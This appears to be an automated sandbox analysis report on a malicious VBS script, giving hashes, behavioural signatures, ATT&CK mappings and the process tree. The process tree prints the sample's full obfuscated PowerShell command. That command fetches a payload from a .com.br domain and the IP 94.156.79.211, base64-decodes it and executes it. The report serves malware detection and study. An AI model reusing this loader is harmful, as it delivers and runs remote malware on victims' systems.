4573cff18a16eacc05034a4de1e11330c71331b15169d4249e8b04f3ab67c2bf

Analysis

max time kernel
134s
max time network
147s
platform
windows7_x64
resource
win7-20240221-en
resource tags

arch:x64arch:x86image:win7-20240221-enlocale:en-usos:windows7-x64system
submitted
28-06-2024 01:20

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General

Target

4573cff18a16eacc05034a4de1e11330c71331b15169d4249e8b04f3ab67c2bf.vbs
Size

187KB
MD5

a408481803f47324f6479a3b70ad763b
SHA1

1a3232aeec010ce287ea65dd1a24255f95470d48
SHA256

4573cff18a16eacc05034a4de1e11330c71331b15169d4249e8b04f3ab67c2bf
SHA512

aab87aee34a0c93381fb0fb926edc137ffced40bba470b15dd45b798aeab9117f5a4daf30932dccef13c5c898d80f626e18a1a65d8c10b2c111319bb781f341e
SSDEEP

3072:dmN8GGebKjeK3ubth+DCFxKCvBB/WnHPP1w/sLJFJ281QIHz1y8mNy7Ey1MgKTZg:d08GxbKja3+DCbKCvBB/WnHXC/sLJFJN

Score

8^/10

Malware Config

Signatures

Blocklisted process makes network request 18 IoCs

Processes:

WScript.exepowershell.exe

flow	pid	process
3	2336	WScript.exe
7	2736	powershell.exe
8	2736	powershell.exe
9	2736	powershell.exe
10	2736	powershell.exe
11	2736	powershell.exe
14	2736	powershell.exe
15	2736	powershell.exe
16	2736	powershell.exe
17	2736	powershell.exe
18	2736	powershell.exe
19	2736	powershell.exe
20	2736	powershell.exe
21	2736	powershell.exe
22	2736	powershell.exe
23	2736	powershell.exe
24	2736	powershell.exe
25	2736	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Suspicious behavior: EnumeratesProcesses 1 IoCs

Processes:

powershell.exe

pid process

2736 powershell.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 2736 powershell.exe

pid	process
2736	powershell.exe

description	pid	process
Token: SeDebugPrivilege	2736	powershell.exe

Suspicious use of WriteProcessMemory 6 IoCs

Processes:

WScript.exepowershell.exe

description	pid	process	target process
PID 2336 wrote to memory of 2736	2336	WScript.exe	powershell.exe
PID 2336 wrote to memory of 2736	2336	WScript.exe	powershell.exe
PID 2336 wrote to memory of 2736	2336	WScript.exe	powershell.exe
PID 2736 wrote to memory of 2604	2736	powershell.exe	cmd.exe
PID 2736 wrote to memory of 2604	2736	powershell.exe	cmd.exe
PID 2736 wrote to memory of 2604	2736	powershell.exe	cmd.exe

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\4573cff18a16eacc05034a4de1e11330c71331b15169d4249e8b04f3ab67c2bf.vbs"
1⤵
- Blocklisted process makes network request
- Suspicious use of WriteProcessMemory
PID:2336

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "cls;write 'Alcoa Restauranterne Evnesvag Cistophoric Frisvmmere Baroscopic151 Colaers Maney Lyngbyaceae Overripen224 Fuldtidsjob Tjenestemndenes Rowet Skolealderens188 Slouchily emulsible Bghjortenes Tabescence Brandtomts Pelotas Branchial Forbisetes salamis Predamaged3 Alcoa Restauranterne Evnesvag Cistophoric Frisvmmere Baroscopic151 Colaers Maney Lyngbyaceae Overripen224 Fuldtidsjob Tjenestemndenes Rowet Skolealderens188 Slouchily emulsible Bghjortenes Tabescence Brandtomts Pelotas Branchial Forbisetes salamis Predamaged3';$Betnkelighederne = 1;Function Fellatrices($Trucing){$Farcically232=$Trucing.Length-$Betnkelighederne;$Leukocytotic64='SUBSTRIN';$Leukocytotic64+='G';For( $gracileness=1;$gracileness -lt $Farcically232;$gracileness+=2){$Alcoa+=$Trucing.$Leukocytotic64.Invoke( $gracileness, $Betnkelighederne);}$Alcoa;}function Interalar47($Weather){ . ($Terrnlbets253) ($Weather);}$talesituationens=Fellatrices ' MFo zsiKl.lNa / 5..D0. H( WSilnNd.o w sI NDT .1 0F. 0H;N TW.iTn 6h4R; Sx.6L4.;C RrAv :S1i2M1S.C0S)R BGAeTc k oA/ 2.0D1R0 0.1Y0,1 ,F iCrDeRfFo xL/H1f2S1T. 0E ';$Stilkunstnernes=Fellatrices 'FUUsleOrU-HATgTe n t ';$Frisvmmere=Fellatrices '.h,tit.pBs :./K/le.vCoTlEu xPc.o nSt.a baiFl i dnaVd.eO. c o mR.Kb.rC/pbLr,/,K osn kBuDrKr eTnTc,eCe vNn.eFn,.Fd wKpK> hWtNtIpR:B/ / 9 4v..1 5B6 . 7G9...2D1s1P/ K.oFn kCuUrBr eTnOcTe,eRvvn ePn .Od wUp ';$Constantia228=Fellatrices 'E>R ';$Terrnlbets253=Fellatrices 'TiSe xR ';$Yearock='Maney';$Smittle = Fellatrices ' eAcNh o, V%.a p pCdSa t,aw% \,RDe p,s e,tB.BKAb m. C&,&. ,ePcNhNo, At ';Interalar47 (Fellatrices 'P$UgMlPoRb aIlB:SL iPbPeBlElAi,sNts=.(ScAmId, S/ cL P$ S.m iPt tPl,e )A ');Interalar47 (Fellatrices ' $ g l oFb.a.l.:,CmiSsTt o pVh,ohr.iTc =.$ F,r.iUs.vVm mFeDrTeF. sMpsl i t,(B$ICto nVsTtAaRn tKina.2 2 8,) ');Interalar47 (Fellatrices 'p[VN e.t.. SSeKr,v iTckeSPFoOiCnSt MSaFn.a gdeSr ],:F: SAeCcIuIr.iEt ySP rLoTtEo cTo lT .=F K[ N,eUti.,SAe,c u r i tAyRPKr o t o,c opl TAy pue ]U:W: Tal s 1,2 ');$Frisvmmere=$Cistophoric[0];$Snidely= (Fellatrices ' $DgKl,o,bBa.lP: pTr.oVpNeMl lNeSrCsC=.NBeBw.-BOUb jIeGc t, SAy s tAeFm..DNEe tH.AWPePb,CLl iTe n t');$Snidely+=$Libellist[1];Interalar47 ($Snidely);Interalar47 (Fellatrices 'H$SpCrToEpde lElDeSrLsR.TH e a d eVr sB[k$ S.tUi lNk.uFnUsNt nAeNr nbeHs ],= $EtPa lKe sFiStTuSaBtBi o n eAn s ');$Hotheartedness=Fellatrices 'C$ pDr,oDpeeSlClPe,r s.. D o.w n,lSo aPdFFBiFlAeH( $UFUr.i sVvMm m eprSeE, $LFUo rSb iFs,e t,e s.)L ';$Forbisetes=$Libellist[0];Interalar47 (Fellatrices 'F$Kg lSoSb a l : I,n dVu,s.tOrBiPm.i nsi sstBrCe.nBeDs,=U(PTNe.sWt - PAaItSh. S$ F oPrObSi,s.e t.e sI). ');while (!$Industriministrenes) {Interalar47 (Fellatrices '.$ g lPo.b aMl,: b,aFgFtSa laeMr =S$GtArSu.e ') ;Interalar47 $Hotheartedness;Interalar47 (Fellatrices ' Smt.a rMtC- S lLeZeDps 4R ');Interalar47 (Fellatrices ' $ gEl o,bNaBl :PIsn d,u sVtUr i m iRn i s t r ecnEe sD= (,TRe sPtA-LPLa t h $ F oBrUbLi,s,e t,e sS)r ') ;Interalar47 (Fellatrices ' $DgNlCo bDaOlR:RE v n.e sAv.aBgv=,$ g,l,oBb,aIla:.RFegs t.aKu rSa nPtTe,rKnSe.+G+ % $EC,i swtKoUpchGo.rSiscS.NcNo,uLnLt, ') ;$Frisvmmere=$Cistophoric[$Evnesvag];}$Knallertfreren=362845;$tolkningsrammerne=26102;Interalar47 (Fellatrices 'P$,gOlCo bNa.lH: Ldy.nDgDb y,a c e a.e, U= NGRe tl-SCEoTn t.e n t. D$ FIo r bLiEs eAt e s ');Interalar47 (Fellatrices ' $Tgwl,o,bBaSl : P.e,lEoOrKi,aKn T= [RSTy sPt,ePmS. C.oSn,vIe.rSt ].:R:.F r o.mGBVa sFeC6 4 S tVrNiBn gI(A$ILAyHnVgIb y a c eCaHe ). ');Interalar47 (Fellatrices 'F$Mg l oPbOa,lO:CT j eMnTeLsAtAeWm nBd eFn eLs, =S .[RSGy.s t eemK.MT eKx.t . E,nScOo.d.i nMg,],:A:LADSRCAIUIB. G eSt S,tPrFiIn g,(a$,Pse,l oCrFiMaSn )B ');Interalar47 (Fellatrices 'M$FgSl.oSb a.l :PF o rHdBr.iAnPgNsBh a,v.e.r.eC1,8K0.= $CT.j.ePn.eSs tDeSmVn d e nUeBs .psFu bSsFt,r iAn,gB( $,K,n.aFlIl.eAr.t f,rOe.r,e n ,,$VtEoOl,kGnGiun g sBr aIm.mBe,rAn e.) ');Interalar47 $Fordringshavere180;"
2⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2736

C:\Windows\system32\cmd.exe
"C:\Windows\system32\cmd.exe" /c "echo %appdata%\Repset.Kbm && echo t"
3⤵
PID:2604

Network

MITRE ATT&CK Matrix ATT&CK v13

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Resource Development

Reconnaissance

Replay Monitor

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Downloads

memory/2736-21-0x000007FEF608E000-0x000007FEF608F000-memory.dmp

Filesize
4KB

Download
memory/2736-22-0x000000001B6C0000-0x000000001B9A2000-memory.dmp

Filesize
2.9MB

Download
memory/2736-24-0x000007FEF5DD0000-0x000007FEF676D000-memory.dmp

Filesize
9.6MB

Download
memory/2736-26-0x000007FEF5DD0000-0x000007FEF676D000-memory.dmp

Filesize
9.6MB

Download
memory/2736-27-0x000007FEF5DD0000-0x000007FEF676D000-memory.dmp

Filesize
9.6MB

Download
memory/2736-25-0x000007FEF5DD0000-0x000007FEF676D000-memory.dmp

Filesize
9.6MB

Download
memory/2736-23-0x0000000001E10000-0x0000000001E18000-memory.dmp

Filesize
32KB

Download
memory/2736-28-0x000007FEF5DD0000-0x000007FEF676D000-memory.dmp

Filesize
9.6MB

Download
memory/2736-29-0x000007FEF5DD0000-0x000007FEF676D000-memory.dmp

Filesize
9.6MB

Download
memory/2736-30-0x000007FEF608E000-0x000007FEF608F000-memory.dmp

Filesize
4KB

Download